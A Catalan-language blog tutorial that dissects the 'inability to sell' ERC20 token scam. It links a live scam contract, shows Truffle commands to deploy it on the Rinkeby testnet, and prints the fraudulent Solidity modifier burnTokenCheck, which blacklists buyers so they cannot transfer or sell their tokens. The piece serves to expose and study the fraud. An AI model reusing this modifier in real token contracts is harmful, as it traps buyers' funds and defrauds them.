En el post analitzarem una estafa que es dona bastant en l’intercanvi de tokens o la compra-venta de tokens. La tècnica es coneix amb el nom de “Inability to sell”, i possibilita, mitjançant un codi maliciós, modificar un Smart Contract d’ERC20.
Com Funciona l’Estafa Coneguda com “Innability to Sell”
L’estafa de “Innability to Sell” consisteix en la creació d’un token que aparentment segueix l’estàndard ERC20, però en el que se li aplica un modificador que fa que, un cop l’usuari ha rebut els tokens, no els pugui transferir a una altra adreça.
Això passa perque, tot i que aparentment la propietat dels tokens és de la direcció que els acaba de rebre, realment no és així.
Això fa que, tot i que sembli que disposis dels tokens, no els puguis vendre ni transferir a una altra direcció.
En aquesta direcció pots trobar l’exemple concret que estudiarem:
https://tokensniffer.com/token/0x91d5c702324fcaabf141525ed5bd5799dde041ed
L’anàlisi el durem a terme des de 2 punts de vista diferents:
- Des del punt de vista de l’experiència d’usuari, mitjançant la interacció amb el contracte a través d’Etherscan
- Des del punt de vista del codi
Migració del Contracte a la Testnet de Rinkeby
A continuació, farem la migració del contracte a la testnet de Rinkeby, per poder estudiar-lo.
El primer pas és obrir una finestra de terminal en el teu sistema, situar-te en el directori on t’has descarregat el contracte, i, des d’allà, obrir la consola de Truffle mitjançant la següent sentencia:
truffle develop
Un cop dins la consola de Truffle, ja pots fer la migració del contracte a la testnet de Rinkeby:
migrate --reset --network rinkeby
El procés pot tardar uns minuts, ja que prèviament compilarà el contracte.
Un cop finalitzat el procés, des de la mateixa consola de Truffle, pots verificar el contracte, per tal de que puguis interactuar amb ell a través de Etherscan.
run verify Polkasol --network rinkeby
Un cop verificat, t’apereixarà l’enllaç perquè puguis consultar el contracte a través d’Etherscan.
Anàlisi des del Punt de Vista de l’Experiència a l’Usuari
Un cop ja tinguis el contracte migrat a la testnet de Rinkeby, ja pots començar el seu estudi des d’Etherscan.
El primer pas es disposar de Metamask, tenir-lo connectat a la testnet de Rinkeby, i seleccionar l’adreça des de la que vols operar.
A Etherscan, si et situes a la pestanya de Contract, i després a Write Contract, podràs visualitzar un llistat de totes les funcions que ofereix el contracte, perquè puguis interactuar amb ell. La funció amb que t’has de centrar per fer la simulació s’anomena transfer.
Per començar a interactuar amb el contracte, el primer pas és conectar Metamask i seleccionar l’adreça des de la que vols operar.
Anàlisi del Codi
A continuació, un cop vist el comportament del contracte des del punt de vista de l’usuari que interactua amb ell, anem a analitzar el codi.
El codi el pots analitzar directament des de l’enllaç de la web de Token Sniffer que he copiat abans, o del teu fitxer local, en cas que t’hagis descarregat el codi per poder fer la migració a una testnet, com he fet jo en el vídeo.
Si estas familiaritzat amb l’estàndard ERC20 d ‘Ethereum, a simple vista podràs veure que el codi del contracte segueix bastant les bases de l’estàndard.
No entraré en detall amb totes les funcions del contracte, que són moltes, sinó que em centraré concretament amb la funció on rau el comportament fraudulent del contracte. Es tracta de la funció _approveCheck(), que copio a continuació.
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
Com pots veure, a aquesta funció li aplica un modificador anomenat burnTokenCheck(), que es el que s’encarrega de modificar el comportament estàndard de la funció, per tal de que en la tercera transacció del circuit, el receptor dels tokens ja no sigui realment el propietari dels mateixos, generant un error en el moment en que els intenti transferir a una altra adreça.
A continuació tens el codi del modificador:
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_checkAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _checkAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
ljlj